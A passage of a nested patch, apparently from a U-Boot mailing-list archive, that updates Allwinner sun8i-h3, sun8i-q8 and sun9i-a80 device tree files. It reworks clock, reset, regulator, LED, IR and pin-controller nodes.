-+		allwinner,pull = <SUN4I_PINCTRL_NO_PULL>;
-+	};
- };
- 
- &ehci1 {
---- a/arch/arm/dts/sun8i-h3.dtsi
-+++ b/arch/arm/dts/sun8i-h3.dtsi
-@@ -83,12 +83,6 @@
- 			     <GIC_PPI 14 (GIC_CPU_MASK_SIMPLE(4) | IRQ_TYPE_LEVEL_LOW)>,
- 			     <GIC_PPI 11 (GIC_CPU_MASK_SIMPLE(4) | IRQ_TYPE_LEVEL_LOW)>,
- 			     <GIC_PPI 10 (GIC_CPU_MASK_SIMPLE(4) | IRQ_TYPE_LEVEL_LOW)>;
--		clock-frequency = <24000000>;
--		arm,cpu-registers-not-fw-configured;
--	};
--
--	memory {
--		reg = <0x40000000 0x80000000>;
- 	};
- 
- 	clocks {
-@@ -131,15 +125,24 @@
- 			compatible = "allwinner,sun6i-a31-pll6-clk";
- 			reg = <0x01c20028 0x4>;
- 			clocks = <&osc24M>;
--			clock-output-names = "pll6", "pll6x2", "pll6d2";
-+			clock-output-names = "pll6", "pll6x2";
- 		};
- 
--		pll8: clk at 01c20044 {
--			#clock-cells = <1>;
--			compatible = "allwinner,sun6i-a31-pll6-clk";
--			reg = <0x01c20044 0x4>;
--			clocks = <&osc24M>;
--			clock-output-names = "pll8", "pll8x2";
-+		pll6d2: pll6d2_clk {
-+			#clock-cells = <0>;
-+			compatible = "fixed-factor-clock";
-+			clock-div = <2>;
-+			clock-mult = <1>;
-+			clocks = <&pll6 0>;
-+			clock-output-names = "pll6d2";
-+		};
-+
-+		/* dummy clock until pll6 can be reused */
-+		pll8: pll8_clk {
-+			#clock-cells = <0>;
-+			compatible = "fixed-clock";
-+			clock-frequency = <1>;
-+			clock-output-names = "pll8";
- 		};
- 
- 		cpu: cpu_clk at 01c20050 {
-@@ -170,7 +173,7 @@
- 			#clock-cells = <0>;
- 			compatible = "allwinner,sun8i-h3-ahb2-clk";
- 			reg = <0x01c2005c 0x4>;
--			clocks = <&ahb1>, <&pll6 2>;
-+			clocks = <&ahb1>, <&pll6d2>;
- 			clock-output-names = "ahb2";
- 		};
- 
-@@ -213,34 +216,34 @@
- 					<76>, <77>, <78>,
- 					<96>, <97>, <98>,
- 					<112>, <113>,
--					<114>, <115>, <116>,
--					<128>, <135>;
--			clock-output-names = "ahb1_ce", "ahb1_dma", "ahb1_mmc0",
--					"ahb1_mmc1", "ahb1_mmc2", "ahb1_nand",
--					"ahb1_sdram", "ahb2_gmac", "ahb1_ts",
--					"ahb1_hstimer", "ahb1_spi0",
--					"ahb1_spi1", "ahb1_otg",
--					"ahb1_otg_ehci0", "ahb1_ehic1",
--					"ahb1_ehic2", "ahb1_ehic3",
--					"ahb1_otg_ohci0", "ahb2_ohic1",
--					"ahb2_ohic2", "ahb2_ohic3", "ahb1_ve",
--					"ahb1_lcd0", "ahb1_lcd1", "ahb1_deint",
--					"ahb1_csi", "ahb1_tve", "ahb1_hdmi",
--					"ahb1_de", "ahb1_gpu", "ahb1_msgbox",
--					"ahb1_spinlock", "apb1_codec",
--					"apb1_spdif", "apb1_pio", "apb1_ths",
--					"apb1_i2s0", "apb1_i2s1", "apb1_i2s2",
--					"apb2_i2c0", "apb2_i2c1", "apb2_i2c2",
--					"apb2_uart0", "apb2_uart1",
--					"apb2_uart2", "apb2_uart3", "apb2_scr",
--					"ahb1_ephy", "ahb1_dbg";
-+					<114>, <115>,
-+					<116>, <128>, <135>;
-+			clock-output-names = "bus_ce", "bus_dma", "bus_mmc0",
-+					     "bus_mmc1", "bus_mmc2", "bus_nand",
-+					     "bus_sdram", "bus_gmac", "bus_ts",
-+					     "bus_hstimer", "bus_spi0",
-+					     "bus_spi1", "bus_otg",
-+					     "bus_otg_ehci0", "bus_ehci1",
-+					     "bus_ehci2", "bus_ehci3",
-+					     "bus_otg_ohci0", "bus_ohci1",
-+					     "bus_ohci2", "bus_ohci3", "bus_ve",
-+					     "bus_lcd0", "bus_lcd1", "bus_deint",
-+					     "bus_csi", "bus_tve", "bus_hdmi",
-+					     "bus_de", "bus_gpu", "bus_msgbox",
-+					     "bus_spinlock", "bus_codec",
-+					     "bus_spdif", "bus_pio", "bus_ths",
-+					     "bus_i2s0", "bus_i2s1", "bus_i2s2",
-+					     "bus_i2c0", "bus_i2c1", "bus_i2c2",
-+					     "bus_uart0", "bus_uart1",
-+					     "bus_uart2", "bus_uart3",
-+					     "bus_scr", "bus_ephy", "bus_dbg";
- 		};
- 
- 		mmc0_clk: clk at 01c20088 {
- 			#clock-cells = <1>;
- 			compatible = "allwinner,sun4i-a10-mmc-clk";
- 			reg = <0x01c20088 0x4>;
--			clocks = <&osc24M>, <&pll6 0>, <&pll8 0>;
-+			clocks = <&osc24M>, <&pll6 0>, <&pll8>;
- 			clock-output-names = "mmc0",
- 					     "mmc0_output",
- 					     "mmc0_sample";
-@@ -250,7 +253,7 @@
- 			#clock-cells = <1>;
- 			compatible = "allwinner,sun4i-a10-mmc-clk";
- 			reg = <0x01c2008c 0x4>;
--			clocks = <&osc24M>, <&pll6 0>, <&pll8 0>;
-+			clocks = <&osc24M>, <&pll6 0>, <&pll8>;
- 			clock-output-names = "mmc1",
- 					     "mmc1_output",
- 					     "mmc1_sample";
-@@ -260,7 +263,7 @@
- 			#clock-cells = <1>;
- 			compatible = "allwinner,sun4i-a10-mmc-clk";
- 			reg = <0x01c20090 0x4>;
--			clocks = <&osc24M>, <&pll6 0>, <&pll8 0>;
-+			clocks = <&osc24M>, <&pll6 0>, <&pll8>;
- 			clock-output-names = "mmc2",
- 					     "mmc2_output",
- 					     "mmc2_sample";
-@@ -285,6 +288,33 @@
- 			clocks = <&osc24M>, <&pll6 1>, <&pll5>;
- 			clock-output-names = "mbus";
- 		};
-+
-+		apb0: apb0_clk {
-+			compatible = "fixed-factor-clock";
-+			#clock-cells = <0>;
-+			clock-div = <1>;
-+			clock-mult = <1>;
-+			clocks = <&osc24M>;
-+			clock-output-names = "apb0";
-+		};
-+
-+		apb0_gates: clk at 01f01428 {
-+			compatible = "allwinner,sun8i-h3-apb0-gates-clk",
-+				     "allwinner,sun4i-a10-gates-clk";
-+			reg = <0x01f01428 0x4>;
-+			#clock-cells = <1>;
-+			clocks = <&apb0>;
-+			clock-indices = <0>, <1>;
-+			clock-output-names = "apb0_pio", "apb0_ir";
-+		};
-+
-+		ir_clk: ir_clk at 01f01454 {
-+			compatible = "allwinner,sun4i-a10-mod0-clk";
-+			reg = <0x01f01454 0x4>;
-+			#clock-cells = <0>;
-+			clocks = <&osc32k>, <&osc24M>;
-+			clock-output-names = "ir";
-+		};
- 	};
- 
- 	soc {
-@@ -298,7 +328,7 @@
- 			reg = <0x01c02000 0x1000>;
- 			interrupts = <GIC_SPI 50 IRQ_TYPE_LEVEL_HIGH>;
- 			clocks = <&bus_gates 6>;
--			resets = <&bus_rst 6>;
-+			resets = <&ahb_rst 6>;
- 			#dma-cells = <1>;
- 		};
- 
-@@ -313,7 +343,7 @@
- 				      "mmc",
- 				      "output",
- 				      "sample";
--			resets = <&bus_rst 8>;
-+			resets = <&ahb_rst 8>;
- 			reset-names = "ahb";
- 			interrupts = <GIC_SPI 60 IRQ_TYPE_LEVEL_HIGH>;
- 			status = "disabled";
-@@ -332,7 +362,7 @@
- 				      "mmc",
- 				      "output",
- 				      "sample";
--			resets = <&bus_rst 9>;
-+			resets = <&ahb_rst 9>;
- 			reset-names = "ahb";
- 			interrupts = <GIC_SPI 61 IRQ_TYPE_LEVEL_HIGH>;
- 			status = "disabled";
-@@ -351,7 +381,7 @@
- 				      "mmc",
- 				      "output",
- 				      "sample";
--			resets = <&bus_rst 10>;
-+			resets = <&ahb_rst 10>;
- 			reset-names = "ahb";
- 			interrupts = <GIC_SPI 62 IRQ_TYPE_LEVEL_HIGH>;
- 			status = "disabled";
-@@ -396,7 +426,7 @@
- 			reg = <0x01c1b000 0x100>;
- 			interrupts = <GIC_SPI 74 IRQ_TYPE_LEVEL_HIGH>;
- 			clocks = <&bus_gates 25>, <&bus_gates 29>;
--			resets = <&bus_rst 25>, <&bus_rst 29>;
-+			resets = <&ahb_rst 25>, <&ahb_rst 29>;
- 			phys = <&usbphy 1>;
- 			phy-names = "usb";
- 			status = "disabled";
-@@ -408,7 +438,7 @@
- 			interrupts = <GIC_SPI 75 IRQ_TYPE_LEVEL_HIGH>;
- 			clocks = <&bus_gates 29>, <&bus_gates 25>,
- 				 <&usb_clk 17>;
--			resets = <&bus_rst 29>, <&bus_rst 25>;
-+			resets = <&ahb_rst 29>, <&ahb_rst 25>;
- 			phys = <&usbphy 1>;
- 			phy-names = "usb";
- 			status = "disabled";
-@@ -419,7 +449,7 @@
- 			reg = <0x01c1c000 0x100>;
- 			interrupts = <GIC_SPI 76 IRQ_TYPE_LEVEL_HIGH>;
- 			clocks = <&bus_gates 26>, <&bus_gates 30>;
--			resets = <&bus_rst 26>, <&bus_rst 30>;
-+			resets = <&ahb_rst 26>, <&ahb_rst 30>;
- 			phys = <&usbphy 2>;
- 			phy-names = "usb";
- 			status = "disabled";
-@@ -431,7 +461,7 @@
- 			interrupts = <GIC_SPI 77 IRQ_TYPE_LEVEL_HIGH>;
- 			clocks = <&bus_gates 30>, <&bus_gates 26>,
- 				 <&usb_clk 18>;
--			resets = <&bus_rst 30>, <&bus_rst 26>;
-+			resets = <&ahb_rst 30>, <&ahb_rst 26>;
- 			phys = <&usbphy 2>;
- 			phy-names = "usb";
- 			status = "disabled";
-@@ -442,7 +472,7 @@
- 			reg = <0x01c1d000 0x100>;
- 			interrupts = <GIC_SPI 78 IRQ_TYPE_LEVEL_HIGH>;
- 			clocks = <&bus_gates 27>, <&bus_gates 31>;
--			resets = <&bus_rst 27>, <&bus_rst 31>;
-+			resets = <&ahb_rst 27>, <&ahb_rst 31>;
- 			phys = <&usbphy 3>;
- 			phy-names = "usb";
- 			status = "disabled";
-@@ -454,7 +484,7 @@
- 			interrupts = <GIC_SPI 79 IRQ_TYPE_LEVEL_HIGH>;
- 			clocks = <&bus_gates 31>, <&bus_gates 27>,
- 				 <&usb_clk 19>;
--			resets = <&bus_rst 31>, <&bus_rst 27>;
-+			resets = <&ahb_rst 31>, <&ahb_rst 27>;
- 			phys = <&usbphy 3>;
- 			phy-names = "usb";
- 			status = "disabled";
-@@ -469,7 +499,7 @@
- 			gpio-controller;
- 			#gpio-cells = <3>;
- 			interrupt-controller;
--			#interrupt-cells = <2>;
-+			#interrupt-cells = <3>;
- 
- 			uart0_pins_a: uart0 at 0 {
- 				allwinner,pins = "PA4", "PA5";
-@@ -502,10 +532,22 @@
- 			};
- 		};
- 
--		bus_rst: reset at 01c202c0 {
-+		ahb_rst: reset at 01c202c0 {
- 			#reset-cells = <1>;
--			compatible = "allwinner,sun8i-h3-bus-reset";
--			reg = <0x01c202c0 0x1c>;
-+			compatible = "allwinner,sun6i-a31-ahb1-reset";
-+			reg = <0x01c202c0 0xc>;
-+		};
-+
-+		apb1_rst: reset at 01c202d0 {
-+			#reset-cells = <1>;
-+			compatible = "allwinner,sun6i-a31-clock-reset";
-+			reg = <0x01c202d0 0x4>;
-+		};
-+
-+		apb2_rst: reset at 01c202d8 {
-+			#reset-cells = <1>;
-+			compatible = "allwinner,sun6i-a31-clock-reset";
-+			reg = <0x01c202d8 0x4>;
- 		};
- 
- 		timer at 01c20c00 {
-@@ -529,7 +571,7 @@
- 			reg-shift = <2>;
- 			reg-io-width = <4>;
- 			clocks = <&bus_gates 112>;
--			resets = <&bus_rst 144>;
-+			resets = <&apb2_rst 16>;
- 			dmas = <&dma 6>, <&dma 6>;
- 			dma-names = "rx", "tx";
- 			status = "disabled";
-@@ -542,7 +584,7 @@
- 			reg-shift = <2>;
- 			reg-io-width = <4>;
- 			clocks = <&bus_gates 113>;
--			resets = <&bus_rst 145>;
-+			resets = <&apb2_rst 17>;
- 			dmas = <&dma 7>, <&dma 7>;
- 			dma-names = "rx", "tx";
- 			status = "disabled";
-@@ -555,7 +597,7 @@
- 			reg-shift = <2>;
- 			reg-io-width = <4>;
- 			clocks = <&bus_gates 114>;
--			resets = <&bus_rst 146>;
-+			resets = <&apb2_rst 18>;
- 			dmas = <&dma 8>, <&dma 8>;
- 			dma-names = "rx", "tx";
- 			status = "disabled";
-@@ -568,7 +610,7 @@
- 			reg-shift = <2>;
- 			reg-io-width = <4>;
- 			clocks = <&bus_gates 115>;
--			resets = <&bus_rst 147>;
-+			resets = <&apb2_rst 19>;
- 			dmas = <&dma 9>, <&dma 9>;
- 			dma-names = "rx", "tx";
- 			status = "disabled";
-@@ -591,5 +633,40 @@
- 			interrupts = <GIC_SPI 40 IRQ_TYPE_LEVEL_HIGH>,
- 				     <GIC_SPI 41 IRQ_TYPE_LEVEL_HIGH>;
- 		};
-+
-+		apb0_reset: reset at 01f014b0 {
-+			reg = <0x01f014b0 0x4>;
-+			compatible = "allwinner,sun6i-a31-clock-reset";
-+			#reset-cells = <1>;
-+		};
-+
-+		ir: ir at 01f02000 {
-+			compatible = "allwinner,sun5i-a13-ir";
-+			clocks = <&apb0_gates 1>, <&ir_clk>;
-+			clock-names = "apb", "ir";
-+			resets = <&apb0_reset 1>;
-+			interrupts = <GIC_SPI 37 IRQ_TYPE_LEVEL_HIGH>;
-+			reg = <0x01f02000 0x40>;
-+			status = "disabled";
-+		};
-+
-+		r_pio: pinctrl at 01f02c00 {
-+			compatible = "allwinner,sun8i-h3-r-pinctrl";
-+			reg = <0x01f02c00 0x400>;
-+			interrupts = <GIC_SPI 45 IRQ_TYPE_LEVEL_HIGH>;
-+			clocks = <&apb0_gates 0>;
-+			resets = <&apb0_reset 0>;
-+			gpio-controller;
-+			#gpio-cells = <3>;
-+			interrupt-controller;
-+			#interrupt-cells = <3>;
-+
-+			ir_pins_a: ir at 0 {
-+				allwinner,pins = "PL11";
-+				allwinner,function = "s_cir_rx";
-+				allwinner,drive = <SUN4I_PINCTRL_10_MA>;
-+				allwinner,pull = <SUN4I_PINCTRL_NO_PULL>;
-+			};
-+		};
- 	};
- };
---- a/arch/arm/dts/sun8i-q8-common.dtsi
-+++ b/arch/arm/dts/sun8i-q8-common.dtsi
-@@ -41,11 +41,23 @@
-  */
- #include "sunxi-q8-common.dtsi"
- 
-+#include <dt-bindings/pwm/pwm.h>
-+
- / {
- 	aliases {
- 		serial0 = &r_uart;
- 	};
- 
-+	backlight: backlight {
-+		compatible = "pwm-backlight";
-+		pinctrl-names = "default";
-+		pinctrl-0 = <&bl_en_pin_q8>;
-+		pwms = <&pwm 0 50000 PWM_POLARITY_INVERTED>;
-+		brightness-levels = <0 10 20 30 40 50 60 70 80 90 100>;
-+		default-brightness-level = <8>;
-+		enable-gpios = <&pio 7 6 GPIO_ACTIVE_HIGH>; /* PH6 */
-+	};
-+
- 	chosen {
- 		stdout-path = "serial0:115200n8";
- 	};
-@@ -54,7 +66,7 @@
- &mmc0 {
- 	pinctrl-names = "default";
- 	pinctrl-0 = <&mmc0_pins_a>, <&mmc0_cd_pin_q8>;
--	vmmc-supply = <&reg_vcc3v0>;
-+	vmmc-supply = <&reg_dcdc1>;
- 	bus-width = <4>;
- 	cd-gpios = <&pio 1 4 GPIO_ACTIVE_HIGH>; /* PB4 */
- 	cd-inverted;
-@@ -77,8 +89,90 @@
- 	};
- };
- 
-+&r_rsb {
-+	status = "okay";
-+
-+	axp22x: pmic at 3a3 {
-+		compatible = "x-powers,axp223";
-+		reg = <0x3a3>;
-+		interrupt-parent = <&nmi_intc>;
-+		interrupts = <0 IRQ_TYPE_LEVEL_LOW>;
-+		eldoin-supply = <&reg_dcdc1>;
-+	};
-+};
-+
-+#include "axp22x.dtsi"
-+
-+&reg_aldo1 {
-+	regulator-always-on;
-+	regulator-min-microvolt = <3000000>;
-+	regulator-max-microvolt = <3000000>;
-+	regulator-name = "vcc-io";
-+};
-+
-+&reg_aldo2 {
-+	regulator-always-on;
-+	regulator-min-microvolt = <2350000>;
-+	regulator-max-microvolt = <2650000>;
-+	regulator-name = "vdd-dll";
-+};
-+
-+&reg_aldo3 {
-+	regulator-always-on;
-+	regulator-min-microvolt = <2700000>;
-+	regulator-max-microvolt = <3300000>;
-+	regulator-name = "vcc-pll-avcc";
-+};
-+
-+&reg_dc1sw {
-+	regulator-name = "vcc-lcd";
-+};
-+
-+&reg_dc5ldo {
-+	regulator-always-on;
-+	regulator-min-microvolt = <900000>;
-+	regulator-max-microvolt = <1400000>;
-+	regulator-name = "vdd-cpus";
-+};
-+
-+&reg_dcdc1 {
-+	regulator-always-on;
-+	regulator-min-microvolt = <3000000>;
-+	regulator-max-microvolt = <3000000>;
-+	regulator-name = "vcc-3v0";
-+};
-+
-+&reg_dcdc2 {
-+	regulator-always-on;
-+	regulator-min-microvolt = <900000>;
-+	regulator-max-microvolt = <1400000>;
-+	regulator-name = "vdd-sys";
-+};
-+
-+&reg_dcdc3 {
-+	regulator-always-on;
-+	regulator-min-microvolt = <900000>;
-+	regulator-max-microvolt = <1400000>;
-+	regulator-name = "vdd-cpu";
-+};
-+
-+&reg_dcdc5 {
-+	regulator-always-on;
-+	regulator-min-microvolt = <1500000>;
-+	regulator-max-microvolt = <1500000>;
-+	regulator-name = "vcc-dram";
-+};
-+
-+&reg_rtc_ldo {
-+	regulator-name = "vcc-rtc";
-+};
-+
- &r_uart {
- 	pinctrl-names = "default";
- 	pinctrl-0 = <&r_uart_pins_a>;
- 	status = "okay";
- };
-+
-+&simplefb_lcd {
-+	vcc-lcd-supply = <&reg_dc1sw>;
-+};
---- a/arch/arm/dts/sun9i-a80-cubieboard4.dts
-+++ b/arch/arm/dts/sun9i-a80-cubieboard4.dts
-@@ -62,9 +62,31 @@
- 		stdout-path = "serial0:115200n8";
- 	};
- 
-+	leds {
-+		compatible = "gpio-leds";
-+		pinctrl-names = "default";
-+		pinctrl-0 = <&led_pins_cubieboard4>;
-+
-+		green {
-+			label = "cubieboard4:green:usr";
-+			gpios = <&pio 7 17 GPIO_ACTIVE_HIGH>; /* PH17 */
-+		};
-+
-+		red {
-+			label = "cubieboard4:red:usr";
-+			gpios = <&pio 7 6 GPIO_ACTIVE_HIGH>; /* PH6 */
-+		};
-+	};
- };
- 
- &pio {
-+	led_pins_cubieboard4: led-pins at 0 {
-+		allwinner,pins = "PH6", "PH17";
-+		allwinner,function = "gpio_out";
-+		allwinner,drive = <SUN4I_PINCTRL_10_MA>;
-+		allwinner,pull = <SUN4I_PINCTRL_NO_PULL>;
-+	};
-+
- 	mmc0_cd_pin_cubieboard4: mmc0_cd_pin at 0 {
- 		allwinner,pins = "PH18";
- 		allwinner,function = "gpio_in";
-@@ -89,6 +111,20 @@
- 	vmmc-supply = <&reg_vcc3v0>;
- 	bus-width = <8>;
- 	non-removable;
-+	cap-mmc-hw-reset;
-+	status = "okay";
-+};
-+
-+&mmc2_8bit_pins {
-+	/* Increase drive strength for DDR modes */
-+	allwinner,drive = <SUN4I_PINCTRL_40_MA>;
-+};
-+
-+&r_ir {
-+	status = "okay";
-+};
-+
-+&r_rsb {
- 	status = "okay";
- };
- 
---- a/arch/arm/dts/sun9i-a80-optimus.dts
-+++ b/arch/arm/dts/sun9i-a80-optimus.dts
-@@ -65,7 +65,7 @@
- 	leds {
- 		compatible = "gpio-leds";
- 		pinctrl-names = "default";
--		pinctrl-0 = <&led_pins_optimus>;
-+		pinctrl-0 = <&led_pins_optimus>, <&led_r_pins_optimus>;
- 
- 		/* The LED names match those found on the board */
- 
-@@ -74,7 +74,10 @@
- 			gpios = <&pio 7 1 GPIO_ACTIVE_HIGH>;
- 		};
- 
--		/* led3 is on PM15, in R_PIO */
-+		led3 {
-+			label = "optimus:led3:usr";
-+			gpios = <&r_pio 1 15 GPIO_ACTIVE_HIGH>; /* PM15 */
-+		};
- 
- 		led4 {
- 			label = "optimus:led4:usr";
-@@ -106,17 +109,6 @@
- 	status = "okay";
- };
- 
--&i2c3 {
--	pinctrl-names = "default";
--	pinctrl-0 = <&i2c3_pins_a>;
--	status = "okay";
--};
--
--&i2c3_pins_a {
--	/* Enable internal pull-up */
--	allwinner,pull = <SUN4I_PINCTRL_PULL_UP>;
--};
--
- &ohci0 {
- 	status = "okay";
- };
-@@ -171,30 +163,42 @@
- 	vmmc-supply = <&reg_vcc3v0>;
- 	bus-width = <8>;
- 	non-removable;
-+	cap-mmc-hw-reset;
- 	status = "okay";
- };
- 
-+&mmc2_8bit_pins {
-+	/* Increase drive strength for DDR modes */
-+	allwinner,drive = <SUN4I_PINCTRL_40_MA>;
-+};
-+
- &reg_usb1_vbus {
- 	pinctrl-0 = <&usb1_vbus_pin_optimus>;
- 	gpio = <&pio 7 4 GPIO_ACTIVE_HIGH>; /* PH4 */
- 	status = "okay";
- };
- 
--&uart0 {
--	pinctrl-names = "default";
--	pinctrl-0 = <&uart0_pins_a>;
-+&r_ir {
- 	status = "okay";
- };
- 
--&uart4 {
--	pinctrl-names = "default";
--	pinctrl-0 = <&uart4_pins_a>;
-+&r_pio {
-+	led_r_pins_optimus: led-pins at 1 {
-+		allwinner,pins = "PM15";
-+		allwinner,function = "gpio_out";
-+		allwinner,drive = <SUN4I_PINCTRL_10_MA>;
-+		allwinner,pull = <SUN4I_PINCTRL_NO_PULL>;
-+	};
-+};
-+
-+&r_rsb {
- 	status = "okay";
- };
- 
--&uart4_pins_a {
--	/* Enable internal pull-up */
--	allwinner,pull = <SUN4I_PINCTRL_PULL_UP>;
-+&uart0 {
-+	pinctrl-names = "default";
-+	pinctrl-0 = <&uart0_pins_a>;
-+	status = "okay";
- };
- 
- &usbphy1 {
---- a/arch/arm/dts/sun9i-a80.dtsi
-+++ b/arch/arm/dts/sun9i-a80.dtsi
-@@ -128,6 +128,17 @@
- 		 */
- 		ranges = <0 0 0 0x20000000>;
- 
-+		/*
-+		 * This clock is actually configurable from the PRCM address
-+		 * space. The external 24M oscillator can be turned off, and
-+		 * the clock switched to an internal 16M RC oscillator. Under
-+		 * normal operation there's no reason to do this, and the
-+		 * default is to use the external good one, so just model this
-+		 * as a fixed clock. Also it is not entirely clear if the
-+		 * osc24M mux in the PRCM affects the entire clock tree, which
-+		 * would also throw all the PLL clock rates off, or just the
-+		 * downstream clocks in the PRCM.
-+		 */
- 		osc24M: osc24M_clk {
- 			#clock-cells = <0>;
- 			compatible = "fixed-clock";
-@@ -135,6 +146,13 @@
- 			clock-output-names = "osc24M";
- 		};
- 
-+		/*
-+		 * The 32k clock is from an external source, normally the
-+		 * AC100 codec/RTC chip. This clock is by default enabled
-+		 * and clocked at 32768 Hz, from the oscillator connected
-+		 * to the AC100. It is configurable, but no such driver or
-+		 * bindings exist yet.
-+		 */
- 		osc32k: osc32k_clk {
- 			#clock-cells = <0>;
- 			compatible = "fixed-clock";
-@@ -164,6 +182,14 @@
- 					     "usb_phy2", "usb_hsic_12M";
- 		};
- 
-+		pll3: clk at 06000008 {
-+			/* placeholder until implemented */
-+			#clock-cells = <0>;
-+			compatible = "fixed-clock";
-+			clock-rate = <0>;
-+			clock-output-names = "pll3";
-+		};
-+
- 		pll4: clk at 0600000c {
- 			#clock-cells = <0>;
- 			compatible = "allwinner,sun9i-a80-pll4-clk";
-@@ -277,9 +303,12 @@
- 			compatible = "allwinner,sun9i-a80-ahb0-gates-clk";
- 			reg = <0x06000580 0x4>;
- 			clocks = <&ahb0>;
--			clock-indices = <0>, <1>, <3>, <5>, <8>, <12>, <13>,
--					<14>, <15>, <16>, <18>, <20>, <21>,
--					<22>, <23>;
-+			clock-indices = <0>, <1>, <3>,
-+					<5>, <8>, <12>,
-+					<13>, <14>,
-+					<15>, <16>, <18>,
-+					<20>, <21>, <22>,
-+					<23>;
- 			clock-output-names = "ahb0_fd", "ahb0_ve", "ahb0_gpu",
- 					"ahb0_ss", "ahb0_sd", "ahb0_nand1",
- 					"ahb0_nand0", "ahb0_sdram",
-@@ -293,7 +322,10 @@
- 			compatible = "allwinner,sun9i-a80-ahb1-gates-clk";
- 			reg = <0x06000584 0x4>;
- 			clocks = <&ahb1>;
--			clock-indices = <0>, <1>, <17>, <21>, <22>, <23>, <24>;
-+			clock-indices = <0>, <1>,
-+					<17>, <21>,
-+					<22>, <23>,
-+					<24>;
- 			clock-output-names = "ahb1_usbotg", "ahb1_usbhci",
- 					"ahb1_gmac", "ahb1_msgbox",
- 					"ahb1_spinlock", "ahb1_hstimer",
-@@ -305,8 +337,9 @@
- 			compatible = "allwinner,sun9i-a80-ahb2-gates-clk";
- 			reg = <0x06000588 0x4>;
- 			clocks = <&ahb2>;
--			clock-indices = <0>, <1>, <2>, <4>, <5>, <7>, <8>,
--					<11>;
-+			clock-indices = <0>, <1>,
-+					<2>, <4>, <5>,
-+					<7>, <8>, <11>;
- 			clock-output-names = "ahb2_lcd0", "ahb2_lcd1",
- 					"ahb2_edp", "ahb2_csi", "ahb2_hdmi",
- 					"ahb2_de", "ahb2_mp", "ahb2_mipi_dsi";
-@@ -317,8 +350,10 @@
- 			compatible = "allwinner,sun9i-a80-apb0-gates-clk";
- 			reg = <0x06000590 0x4>;
- 			clocks = <&apb0>;
--			clock-indices = <1>, <5>, <11>, <12>, <13>, <15>,
--					<17>, <18>, <19>;
-+			clock-indices = <1>, <5>,
-+					<11>, <12>, <13>,
-+					<15>, <17>, <18>,
-+					<19>;
- 			clock-output-names = "apb0_spdif", "apb0_pio",
- 					"apb0_ac97", "apb0_i2s0", "apb0_i2s1",
- 					"apb0_lradc", "apb0_gpadc", "apb0_twd",
-@@ -330,14 +365,79 @@
- 			compatible = "allwinner,sun9i-a80-apb1-gates-clk";
- 			reg = <0x06000594 0x4>;
- 			clocks = <&apb1>;
--			clock-indices = <0>, <1>, <2>, <3>, <4>,
--					<16>, <17>, <18>, <19>, <20>, <21>;
-+			clock-indices = <0>, <1>,
-+					<2>, <3>, <4>,
-+					<16>, <17>,
-+					<18>, <19>,
-+					<20>, <21>;
- 			clock-output-names = "apb1_i2c0", "apb1_i2c1",
- 					"apb1_i2c2", "apb1_i2c3", "apb1_i2c4",
- 					"apb1_uart0", "apb1_uart1",
- 					"apb1_uart2", "apb1_uart3",
- 					"apb1_uart4", "apb1_uart5";
- 		};
-+
-+		cpus_clk: clk at 08001410 {
-+			compatible = "allwinner,sun9i-a80-cpus-clk";
-+			reg = <0x08001410 0x4>;
-+			#clock-cells = <0>;
-+			clocks = <&osc32k>, <&osc24M>, <&pll4>, <&pll3>;
-+			clock-output-names = "cpus";
-+		};
-+
-+		ahbs: ahbs_clk {
-+			compatible = "fixed-factor-clock";
-+			#clock-cells = <0>;
-+			clock-div = <1>;
-+			clock-mult = <1>;
-+			clocks = <&cpus_clk>;
-+			clock-output-names = "ahbs";
-+		};
-+
-+		apbs: clk at 0800141c {
-+			compatible = "allwinner,sun8i-a23-apb0-clk";
-+			reg = <0x0800141c 0x4>;
-+			#clock-cells = <0>;
-+			clocks = <&ahbs>;
-+			clock-output-names = "apbs";
-+		};
-+
-+		apbs_gates: clk at 08001428 {
-+			compatible = "allwinner,sun9i-a80-apbs-gates-clk";
-+			reg = <0x08001428 0x4>;
-+			#clock-cells = <1>;
-+			clocks = <&apbs>;
-+			clock-indices = <0>, <1>,
-+					<2>, <3>,
-+					<4>, <5>,
-+					<6>, <7>,
-+					<12>, <13>,
-+					<16>, <17>,
-+					<18>, <20>;
-+			clock-output-names = "apbs_pio", "apbs_ir",
-+					"apbs_timer", "apbs_rsb",
-+					"apbs_uart", "apbs_1wire",
-+					"apbs_i2c0", "apbs_i2c1",
-+					"apbs_ps2_0", "apbs_ps2_1",
-+					"apbs_dma", "apbs_i2s0",
-+					"apbs_i2s1", "apbs_twd";
-+		};
-+
-+		r_1wire_clk: clk at 08001450 {
-+			reg = <0x08001450 0x4>;
-+			#clock-cells = <0>;
-+			compatible = "allwinner,sun4i-a10-mod0-clk";
-+			clocks = <&osc32k>, <&osc24M>;
-+			clock-output-names = "r_1wire";
-+		};
-+
-+		r_ir_clk: clk at 08001454 {
-+			reg = <0x08001454 0x4>;
-+			#clock-cells = <0>;
-+			compatible = "allwinner,sun4i-a10-mod0-clk";
-+			clocks = <&osc32k>, <&osc24M>;
-+			clock-output-names = "r_ir";
-+		};
- 	};
- 
- 	soc {
-@@ -443,7 +543,7 @@
- 		};
- 
- 		mmc0: mmc at 01c0f000 {
--			compatible = "allwinner,sun5i-a13-mmc";
-+			compatible = "allwinner,sun9i-a80-mmc";
- 			reg = <0x01c0f000 0x1000>;
- 			clocks = <&mmc_config_clk 0>, <&mmc0_clk 0>,
- 				 <&mmc0_clk 1>, <&mmc0_clk 2>;
-@@ -457,7 +557,7 @@
- 		};
- 
- 		mmc1: mmc at 01c10000 {
--			compatible = "allwinner,sun5i-a13-mmc";
-+			compatible = "allwinner,sun9i-a80-mmc";
- 			reg = <0x01c10000 0x1000>;
- 			clocks = <&mmc_config_clk 1>, <&mmc1_clk 0>,
- 				 <&mmc1_clk 1>, <&mmc1_clk 2>;
-@@ -471,7 +571,7 @@
- 		};
- 
- 		mmc2: mmc at 01c11000 {
--			compatible = "allwinner,sun5i-a13-mmc";
-+			compatible = "allwinner,sun9i-a80-mmc";
- 			reg = <0x01c11000 0x1000>;
- 			clocks = <&mmc_config_clk 2>, <&mmc2_clk 0>,
- 				 <&mmc2_clk 1>, <&mmc2_clk 2>;
-@@ -485,7 +585,7 @@
- 		};
- 
- 		mmc3: mmc at 01c12000 {
--			compatible = "allwinner,sun5i-a13-mmc";
-+			compatible = "allwinner,sun9i-a80-mmc";
- 			reg = <0x01c12000 0x1000>;
- 			clocks = <&mmc_config_clk 3>, <&mmc3_clk 0>,
- 				 <&mmc3_clk 1>, <&mmc3_clk 2>;
-@@ -582,7 +682,7 @@
- 			clocks = <&apb0_gates 5>;
- 			gpio-controller;
- 			interrupt-controller;
